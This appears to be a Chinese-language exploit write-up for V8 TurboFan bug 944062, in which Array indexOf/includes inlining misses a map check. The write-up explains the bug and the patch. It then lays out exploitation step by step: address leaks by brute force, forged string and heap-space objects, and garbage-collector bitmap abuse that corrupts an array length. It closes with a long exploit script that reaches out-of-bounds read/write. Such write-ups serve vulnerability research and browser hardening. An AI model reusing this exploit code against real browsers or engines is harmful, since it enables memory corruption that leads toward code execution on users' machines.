漏洞
这个漏洞发生在 TurboFan 对数组的 indexOf 函数和 includes 函数的优化过程中。在 TurboFan 的 Inlining 阶段,会对一些 JavaScript 方法的调用进行优化,如果可以,会将其内联至 Builtins 实现的方法,Builtins 实现的方法在 V8 编译阶段已经被编译成机器骂,从而获得原生的速度。
对于数组的 indexOf 函数和 includes 函数的优化由 ReduceArrayIndexOfIncludes 来完成,如下所示(src/compiler/js-call-reducer.cc):
Reduction JSCallReducer::ReduceArrayIndexOfIncludes(
SearchVariant search_variant, Node *node) {
// …
Node *receiver = NodeProperties::GetValueInput(node, 1);
Node *effect = NodeProperties::GetEffectInput(node);
Node *control = NodeProperties::GetControlInput(node);
ZoneHandleSet<Map> receiver_maps;
NodeProperties::InferReceiverMapsResult result =
NodeProperties::InferReceiverMaps(broker(), receiver, effect, &receiver_maps); // 这里根据 receiver 以及 effect 链推测 receiver 的 Maps
if (result == NodeProperties::kNoReceiverMaps) return NoChange();
ElementsKind kind;
if (!CanInlineArrayIteratingBuiltin(broker(), receiver_maps, &kind)) { // 这里获得 Elements Kind
return NoChange();
}
// ...
}
从上面贴出的代码可以看到,在优化之前,首先根据 receiver(即方法的调用者)以及 effect 链推测出 receiver 所有可能的 Maps,然后根据 Maps 推导出当前数组的 Elements Kind。如果当前的 receiver 无法推测出 Maps 或者根据推测的 Maps 中的 Elements Kind 无法将当前的 indexOf 或 includes 函数进行内联,直接返回,否则可以进行进一步的内联。
在进一步内联过程中,根据当前调用的类型(indexOf 还是 includes)获得 Builtins 方法,并从 receiver 中获得数组的元素、长度等属性,结合函数的参数一起传递给获得的 Builtins 方法中。
但是 InferReceiverMaps 方法的返回值一共有三个取值(src/compiler/node-properties.h):
enum InferReceiverMapsResult {
kNoReceiverMaps, // 无法推测出对应的 Maps
kReliableReceiverMaps, // 能推测出对应的 Maps,且 Maps 是可靠的
kUnreliableReceiverMaps // 能推测出对应的 Maps,但是这些对象 Map 是不可靠的,有可能在后续执行的过程中被更改
}
而上述的 Reduce 函数只考虑了 kNoReceiverMaps 的情况,却没有考虑 kUnreliableReceiverMaps 的情况,这样在后续的执行过程中,如果有操作对当前数组的 Map 进行了更改,将原先以快元素存储的数组(即数组元素线性存放)更改为慢元素存储(即类似 Hash 表的方式存储),但是在后续执行过程中没有对应的检查,仍然以快元素的方式将数组的元素和长度通过 Builtins 方法调用并且遍历,就可能出现数组越界读的情况。对于快元素和慢元素如下图所示,更详细的可以参考:https://blog.crimx.com/2018/11/25/v8-fast-properties/#%E5%85%83%E7%B4%A0%E4%B8%8E%E6%95%B0%E7%BB%84%E7%B4%A2%E5%BC%95%E5%B1%9E%E6%80%A7。

因此,这个漏洞的补丁也很显而易见,在推测的 result 为 kUnreliableReceiverMaps 的时候,添加 CheckMaps 结点,对数组的 Map 进行检查,如果检测到 Map 的更改,则直接 deoptimize 回字节码执行。
利用
一开始,对于这个漏洞的利用毫无头绪,毕竟 indexOf 和 includes 两个函数只能判断数组中是否存在某个元素,而不能直接读取对应索引的值,更不能对数组某个位置的值进行写入,因此认为这个漏洞无法利用。后来在网上查了一些相关的资料以及几个 Exp(https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/issue-944062、https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html),发现这个漏洞还是可以利用的,不过比较麻烦。
基本的利用思想是暴力猜解出 ArrayBuffer 的 Backing Storage 的地址,然后通过对该地址的控制,伪造出多个不同类型的字符串,并通过 indexOf 的字符串的比对操作以及 V8 的垃圾回收过程的一些操作实现任意地址写,最终得到一个稳定的可越界读的数组。得到可越界读的数组之后的利用步骤就比较简单了。
地址泄漏
对 ArrayBuffer 的 Backing Storage 进行地址泄漏相对比较简单。由于我们可以通过 indexOf 来对数组进行越界读取,尽管只能返回所读取到的索引,但是我们可以借用类似 Boolean 盲注的思想,暴力猜解出指定索引处的值。但是直接暴力猜解会导致需要的次数特别庞大,因此可以借助 V8 的值表示形式来对其拆分。
由于在 V8 中的整数的存储(SMI)仅使用了高位的 4 字节,因此我们可以首先使用一个整型数组进行暴力破解。此外,由于现在 64-bit 架构的计算机均使用最多 48 位地址空间,因此对于目标地址高 4 字节的暴力猜解,实际只需要猜解出两个字节的值即可。这部分的利用代码如下:
// 位于 JIT 之后的函数中
// ...
let high_bytes = 0;
smi_arr.__defineSetter__(i, () => { }); // 改变 smi_arr 的 Map
ab = new ArrayBuffer(2 << 26); // 创建一个 ArrayBuffer,使其位于新的 Elements 下面,来泄漏其 Backing Storage。
let smi_boundary = [1, 1, 1, 1];
for (high_bytes = 0; high_bytes < 0xffff; high_bytes++) {
smi_boundary[0] = high_bytes; // 用作 indexOf 的边界,防止其过多地越界访问
let idx = smi_arr.indexOf(high_bytes, 0);
if (idx == 20) { // 通过调试得到对应的 Backing Storage 应存储在第 20 索引位置
break;
}
}
// …
接下来需要对地址的低 4 字节进行泄漏,由于在 V8 的值表示形式中,只有浮点数是以原始值的形式进行存储的,因此在这里我们需要借助浮点数数组来完成。同时,为了减少需要暴力的次数,我们在上一步申请 ArrayBuffer 的时候,申请一个很大的内存,这样申请得到的内存可以页对齐,即 4KB 对齐(最低 12 位为 0)。
在进行低 4 字节泄漏之前,我发现一个问题,如果需要重新申请一个 ArrayBuffer 来进行泄漏的话,那之前泄漏的高位地址不就不一致了吗?后来发现在 V8 中,通过 ArrayBuffer 申请 TypedArray 的时候,这个 TypedArray 中也会存放 ArrayBuffer 的 Backing Storage 的地址,因此我们只需要使用上面申请的 ArrayBuffer 创建一个 TypedArray 即可,这部分的代码如下:
// 同样位于 JIT 之后的函数中
// …
float_arr.__defineSetter__(i, ()=>{}); // 更改 Map
let tmp = new Uint32Array(ab); // Typed Array 中也会存放 ArrayBuffer 的 Backing Store 指针
let float_boundary = [1.1, 1.1, 1.1, 1.1];
let start = address2float(BigInt(high_bytes) << 32n);
// 本来应该是 0x100000000 的,但是节省时间 + 防止错误,假设第 4 字节为 0x00
// 如果不是 0x00,则需要重新执行 Exp 代码,如果在浏览器中执行刷新即可
let end = address2float((BigInt(high_bytes) << 32n) + 0x1000000n);
let step = address2float(0x1000);
for (let j = start; j < end; j += step) {
float_boundary[0] = j;
if (float_arr.indexOf(j, 30) == 30) { // 同样调试得到
return [j, smi_boundary, float_boundary, tmp]; // 到这里会把 Backing Store 的指针泄漏出来
}
}
暴力泄漏可以得到结果如下(由于没有在浏览器中执行,因此使用 Python 脚本对其循环调用,直到成功泄漏地址):

任意地址写
完成 ArrayBuffer 的 Backing Storage 地址的泄漏之后,我们拥有了已知地址的可控的一大段内存,接下来按照之前的思想我们可以实现 fakeObj 的利用原语。但是这里我们无法造成 Type Confusion 获取构造的 Fake Object。虽然可以使用 indexOf 进行数组越界读,但是无法获得越界读取的元素,因此也无法让 V8 对构造在可控内存中的 Fake Object 以 Object 的形式进行解读,因此无法直接使用 Fake Object 实现任意地址写。
这里可以通过 V8 的垃圾回收机制实现任意地址写,因此需要了解一下垃圾回收机制的相关内容,关于 V8 中的垃圾回收机制可以参考:http://www.jayconrod.com/posts/55/a-tour-of-v8-garbage-collection。
现在的垃圾回收机制主要负责 3 个工作:
- 【标记阶段】定位正在使用的对象(live)和未使用的对象(dead)
- 【清理阶段】回收未使用的对象所使用的内存空间
- 【整理阶段】将回收的空间进行整理,去碎片化
垃圾回收机制在开始运行时,会将栈上的对象和全局对象作为根,从根开始,通过对象之间的引用查找所有可以到达的对象,并不断重复这个过程,直到所有可以到达的对象被标记出来,之后对未标记的对象的空间进行回收,最后防止内存碎片化,将回收之后的空间压缩整理。
但是每一次都完整地执行上述流程将会很费时间,特别是对于一些生命周期久的,内存占用大的对象,每次都对其进行移动将会带来很多不必要的性能开销。这里就引入了垃圾回收的重要概念,世代假设,简单来说就是大部分对象在分配之后很短的时间就会进入 dead 状态,而少量生存周期长的对象将会在很长一段时间继续生存。
为了节省垃圾回收带来的开销,V8 引入了一个称为 Minor GC(Scavenger)的垃圾回收机制。首先,在内存上,V8 将用于分配对象的内存分为两个空间:Young Generation 和 Old Generation。其中 Young Generation 又被分为 Nursery 和 Intermediate,如下图所示:

当对象进行第一次分配的时候,会被分配到 Nursery 内存区域,如果第一轮垃圾回收中,该对象存活下来,则会将该对象移动到 Intermediate 区域,如果第二轮垃圾回收该对象仍然存活,则会继续移动到 Old Generation 区域中。
这些内存区域在 V8 的代码中由 Space 表示,Space 则由一系列的 Page 组成,每个 Page 是 MemoryChunk 的子类,MemoryChunk 是 V8 中用来表示内存区域的类。每一个 Page 头部均有一些元数据,用来指示当前 Page 所属的内存区域(Young Generation 还是 Old Generation)以及一些其他属性,具体可以查看 src/heap/spaces.h 中的代码。
Minor GC 主要针对 Young Generation 内存区域中的对象,在每一个 Page 头部,除了元数据之外,还有一个指向 Marking Bitmap 的指针,在 Bitmap 中的每一位都代表内存也中的每一个字节地址。在垃圾回收过程中,每一个对象都有三个标记状态,分别为白色(未访问)、灰色(访问了该对象,但是该对象邻接对象没有访问)和黑色(该对象以及该对象的邻接对象均已访问),使用 Bitmap 的每两位来表示。因为 V8 中的每一个对象至少占用两个字节的内存,因此使用两位来表示不会导致重合。对于三色标记具体可以参考:https://liujiacai.net/blog/2018/08/04/incremental-gc/。
在 Young Generation 中,采用 Smi-Space 的设计方式,使用两个相同的空间,其中一个总为空,称为 To-Space,另一个则用于申请分配新的对象,称为 From-Space。当垃圾回收初始化的时候,首先复制 From-Space 中所有可以从根对象直接到达的对象,然后进入一个大循环,在大循环中,每一次处理一个之前复制的对象,访问该对象内部的指针,如果指针指向的空间属于 From-Space,则将该指针指向的对象进行复制,同时更改对应的 Marking Bitmap。对于分代式垃圾回收机制的概念可以参考:https://liujiacai.net/blog/2018/08/18/generational-gc/。
因此,在这里利用的思想是通过可以控制的内存区域(即 ArrayBuffer)伪造 Space,同时控制 Space 的 Marking Bitmap 指针,指向一个 Array 的 length 字段附近。并在该伪造的 Space 上创建对象,当垃圾回收触发时,由于会更改 Marking Bitmap 指向的某一个偏移位置,使其更改 Array 的 length 字段中的某一个字节(0x00 – > 0x11),从而可以得到一个稳定的越界读写数组,进一步造成任意地址读写。
不过这里还需要泄漏 Array 的地址,从而确定 length 字段的地址。同样可以使用之前的方式进行泄漏,但是这时 length 字段不会页对齐,暴力猜解需要时间过长。因此,最终使用的是利用 V8 中对字符串的比对。V8 中有多种类型的字符串,这里主要使用的是 SeqOneByteString 和 ConsString。
直接通过字面量声明字符串(let s1 = “AAAAAAAA”;)即可得到 SeqOneByteString:

通过多个字符串相加(let s3 = s1 + s2;)可以得到 ConsString:

在 V8 引擎中对比 String 的时候(src/objects/string.cc),如果两个字符串的第一个字符和字符串的长度相等,则会将 ConsString 进行 Flatten 操作:
bool String::SlowEquals(Isolate *isolate, Handle <String>one, Handle <String> two) {
int one_length = one->length();
if (one_length != two->length()) return false;
// …
if (one->Get(0) != two->Get(0)) return false;
one = String::Flatten(isolate, one);
two = String::Flatten(isolate, two);
// …
}
Flatten 操作最终会调用 SlowFlatten(src/objects/string.cc)。在 SlowFlatten 中,会根据之前字符串所位于的内存区域(Young Generation 还是 Old Generation)来申请一个空间,将 left 和 right 字符串的内容存放到新的空间中,并替换原先的 left 和 right。
因此,为了泄漏 Array 的地址,我们将伪造的 ConsString 所在的 Space 的元数据设置为 Young Generation,然后通过 indexOf 越界访问对象数组,触发字符串的 Flatten 操作,从而可以获得新创建的字符串的地址,并通过偏移计算出数组的地址,利用代码如下,这里省略 ConsString 和 SeqString 类的定义,可以参考文末的 Exp(同时为了调试方便,向 V8 中添加 %AddrOf 和 %PtrAt 的 patch,这样就不需要使用前面的暴力破解方式来获得地址泄漏,可以参考:https://github.com/ray-cp/browser_pwn/blob/master/v8_pwn/issue-944062/runtime.patch):
// …
const SPACE_SIZE = 1n << 19n; // 一个 Space 是 512KB 的 Memory Chunk
const SPACE_MASK = 0xffffffffffffffffn ^ (SPACE_SIZE-1n);
let space_start_addr = (ab_addr & SPACE_MASK) + SPACE_SIZE;
let space_start_off = space_start_addr - ab_addr;
function page_round(addr) {
if ((addr & 0xfffn) == 0n) {
return addr;
}
return (addr + 0x1000n) & 0xfffffffffffff000n;
}
function u64_offset(addr) {
return (addr - ab_addr) / 8n;
}
// 将当前 Fake String 所在的 Space 伪造成 Young Generation
u64[space_start_off / 8n + 0x1n] = 0x18n;
LEAK_STRING_SZ = 0x1;
let seq_string = new SeqString([0x4141414141414141n]); // 在 space start + 4096 的地方创建一个字符串
// 构造一个 cons string,长度为 0x1,left 和 right 均为 seq_string 对应的字符串
let root_string = new ConsString(BigInt(LEAK_STRING_SZ), seq_string.addr, seq_string.addr);
function foo(i, arr, to_search, to_copy) {
arr.__defineSetter__(i, ()=>{});
let a = [1.1, to_copy];
let boundary = [to_search];
return [arr.indexOf(to_search), a, boundary];
}
for (let i = 0; i < 100000; i++) {
foo('', [Array], '', 1.1);
}
function doit(to_search, to_copy) {
return foo('100000', [Array], to_search, to_copy)[0];
}
doit('A'.repeat(LEAK_STRING_SZ), address2float(root_string.addr | 1n)); // 触发 indexOf 的越界读,使得伪造的 ConsString 被 Flatten
let corrupted_array = [1.1, 1.2, 1.3];
let corrupted_array_addr = u64[root_string.off + 2n] + 0x40n; // 通过偏移得到对应地址
let backing_store_sz_addr = corrupted_array_addr + 0x18n;
泄漏了对应地址之后,即可利用垃圾回收机制更改 corrupted_array 的 length 字段,实现稳定的越界读写(但是由于垃圾回收机制的不稳定性,在这个过程中可能会出现 V8 崩溃的情况,目前还不知道如何解决这个问题)。

Exp
var g_buffer = new ArrayBuffer(16);
var g_float64 = new Float64Array(g_buffer);
var g_uint64 = new BigUint64Array(g_buffer);
function float2address(f) {
g_float64[0] = f;
return g_uint64[0];
}
function address2float(addr) {
let i = BigInt(addr);
g_uint64[0] = i;
return g_float64[0];
}
function hex(i) {
return '0x' + i.toString(16).padStart('0');
}
// =================================================================
// Start Pwn
// =================================================================
// 方便调试,注释掉内存泄漏部分,直接使用 %AddrOf
// function leak(i, smi_arr, float_arr) {
// let high_bytes = 0;
// smi_arr.__defineSetter__(i, () => { });
// ab = new ArrayBuffer(2 << 26);
// let smi_boundary = [1, 1, 1, 1];
// for (high_bytes = 0; high_bytes < 0xffff; high_bytes++) {
// smi_boundary[0] = high_bytes;
// let idx = smi_arr.indexOf(high_bytes, 0);
// if (idx == 20) {
// break;
// }
// }
// float_arr.__defineSetter__(i, ()=>{});
// let tmp = new Uint32Array(ab); // Typed Array 中也会存放 ArrayBuffer 的 Backing Store 指针
// let float_boundary = [1.1, 1.1, 1.1, 1.1];
// let start = address2float(BigInt(high_bytes) << 32n);
// let end = address2float((BigInt(high_bytes) << 32n) + 0x1000000n); // 本来应该是 0x100000000 的,但是节省时间 + 防止错误,暴力破解一位
// let step = address2float(0x1000);
// for (let j = start; j < end; j += step) {
// float_boundary[0] = j;
// if (float_arr.indexOf(j, 30) == 30) {
// return [j, smi_boundary, float_boundary, tmp]; // 到这里会把 Backing Store 的指针泄漏出来
// }
// }
// }
// for (let i = 0; i < 10; i++) {
// leak('', [1], [1.1]);
// }
// let res = leak('10000', [1], [1.1]);
// if (res == undefined) {
// quit();
// }
let u64;
ab = new ArrayBuffer(2 << 26);
// let ab_addr = float2address(res[0]);
let ab_addr = %PtrAt(% AddrOf(ab) - 1n + 0x20n);
u64 = new BigUint64Array(ab);
print("Array Buffer Address: " + hex(ab_addr));
const SPACE_SIZE = 1n << 19n; // 一个 Space 是 512KB 的 Memory Chunk
const SPACE_MASK = 0xffffffffffffffffn ^ (SPACE_SIZE-1n);
let space_start_addr = (ab_addr & SPACE_MASK) + SPACE_SIZE;
let space_start_off = space_start_addr - ab_addr;
print("Array Buffer Address: " + hex(ab_addr));
print("Space Start Address: " + hex(space_start_addr));
print("Space Start Offset: " + hex(space_start_off));
let free_mem = space_start_addr + 4096n;
function page_round(addr) {
if ((addr & 0xfffn) == 0n) {
return addr;
}
return (addr + 0x1000n) & 0xfffffffffffff000n;
}
function u64_offset(addr) {
return (addr - ab_addr) / 8n;
}
class ConsString { // CONS_ONE_BYTE_STRING_TYPE
constructor(size, left, right) {
let data = [(size<<32n) | 0x00000003n, left|1n, right|1n];
size = BigInt(data.length) * 8n;
this.addr = free_mem;
free_mem += page_round(size);
this.map = free_mem;
free_mem += page_round(0x9n*8n);
this.off = u64_offset(this.addr);
u64[this.off] = this.map|1n;
for (let i = 0n; i < data.length; i++) {
u64[this.off + 1n + i] = data[i];
}
// 字符串的 Map
let map_off = u64_offset(this.map);
u64[map_off + 0x0n] = 0x12345n;
u64[map_off + 0x1n] = 0x190000292900a804n;
u64[map_off + 0x2n] = 0x82003ffn; // bitfield 3
u64[map_off + 0x3n] = 0x41414141n; // prototype
u64[map_off + 0x4n] = 0x41414141n; // constructor or back ptr
u64[map_off + 0x5n] = 0n; // transistions or proto info
u64[map_off + 0x6n] = 0x41414141n; // instance descriptors
u64[map_off + 0x7n] = 0n; // layout descriptor
u64[map_off + 0x8n] = 0x41414141n; // dependent code
u64[map_off + 0x9n] = 0n; // prototype validity cell
}
}
class SeqString { // ONE_BYTE_INTERNALIZED_STRING_TYPE
constructor(data) {
data = [(BigInt(data.length*8) << 32n | 0xdf61f02en)].concat(data);
let size = BigInt(data.length) * 8n;
this.addr = free_mem; // 字符串的地址
free_mem += page_round(size);
this.map = free_mem; // 字符串的 Map 地址
free_mem += page_round(0x9n*8n);
this.off = u64_offset(this.addr);
u64[this.off] = this.map|1n;
for (let i = 0n; i < data.length; i++) {
u64[this.off + 1n + i] = data[i];
}
// 字符串的 Map
let map_off = u64_offset(this.map);
u64[map_off + 0x0n] = 0x12345n;
u64[map_off + 0x1n] = 0x190000080400a804n;
u64[map_off + 0x2n] = 0x82003ffn; // bitfield 3
u64[map_off + 0x3n] = 0x41414141n; // prototype
u64[map_off + 0x4n] = 0x41414141n; // constructor or back ptr
u64[map_off + 0x5n] = 0n; // transistions or proto info
u64[map_off + 0x6n] = 0x41414141n; // instance descriptors
u64[map_off + 0x7n] = 0n; // layout descriptor
u64[map_off + 0x8n] = 0x41414141n; // dependent code
u64[map_off + 0x9n] = 0n; // prototype validity cell
}
}
// 将当前 Fake String 所在的 Space 伪造成 Young Generation
u64[space_start_off / 8n + 0x1n] = 0x18n;
LEAK_STRING_SZ = 0x1;
let seq_string = new SeqString([0x4141414141414141n]); // 在 space start + 4096 的地方创建一个字符串
// 构造一个 cons string,长度为 0x1,left 和 right 均为 seq_string 对应的字符串
let root_string = new ConsString(BigInt(LEAK_STRING_SZ), seq_string.addr, seq_string.addr);
print(hex(root_string.addr));
function foo(i, arr, to_search, to_copy) {
arr.__defineSetter__(i, ()=>{});
let a = [1.1, to_copy];
let boundary = [to_search];
return [arr.indexOf(to_search), a, boundary];
}
for (let i = 0; i < 100000; i++) {
foo('', [Array], '', 1.1);
}
function doit(to_search, to_copy) {
return foo('100000', [Array], to_search, to_copy)[0];
}
doit('A'.repeat(LEAK_STRING_SZ), address2float(root_string.addr | 1n));
let corrupted_array = [1.1, 1.2, 1.3];
let corrupted_array_addr = u64[root_string.off + 2n] + 0x40n;
% DebugPrint(corrupted_array);
print(hex(corrupted_array_addr));
let backing_store_sz_addr = corrupted_array_addr + 0x18n;
print(hex(backing_store_sz_addr));
GC_STRING_SZ = 0x30000000;
u64[space_start_off/8n + 0x0n] = 0x1234n;
u64[space_start_off/8n + 0x1n] = 0x18n;
// marking bitmap pointer
// 通过调试确定偏移
u64[space_start_off/8n + 0x2n] = backing_store_sz_addr + 4n - (0x70n * 0x4n);
u64[space_start_off/8n + 0x6n] = space_start_addr;
// incremental_marking ptr
u64[space_start_off/8n + 0xf7n] = space_start_addr;
seq_string = new SeqString([0x4141414141414141n]);
root_string = new ConsString(BigInt(GC_STRING_SZ), seq_string.addr, seq_string.addr);
// root_string = new ConsString(BigInt(GC_STRING_SZ), seq_string.addr, seq_string.addr);
print(hex(seq_string.addr));
print(hex(root_string.addr));
// % SystemBreak();
doit('A'.repeat(GC_STRING_SZ), address2float(root_string.addr | 1n));
// % DebugPrint(corrupted_array);
// % SystemBreak();
print("End");
corrupted_array[100] = 1.1;
console.log('=== OOB array leak ===');
for (let i = 0; i < 100; i++) {
console.log((corrupted_array[i]));
}
参考
- https://blog.crimx.com/2018/11/25/v8-fast-properties/#%E5%85%83%E7%B4%A0%E4%B8%8E%E6%95%B0%E7%BB%84%E7%B4%A2%E5%BC%95%E5%B1%9E%E6%80%A7
- https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/issue-944062
- https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html
- http://www.jayconrod.com/posts/55/a-tour-of-v8-garbage-collection
- https://liujiacai.net/blog/2018/08/04/incremental-gc
- https://liujiacai.net/blog/2018/08/18/generational-gc
- https://bugs.chromium.org/p/chromium/issues/detail?id=944062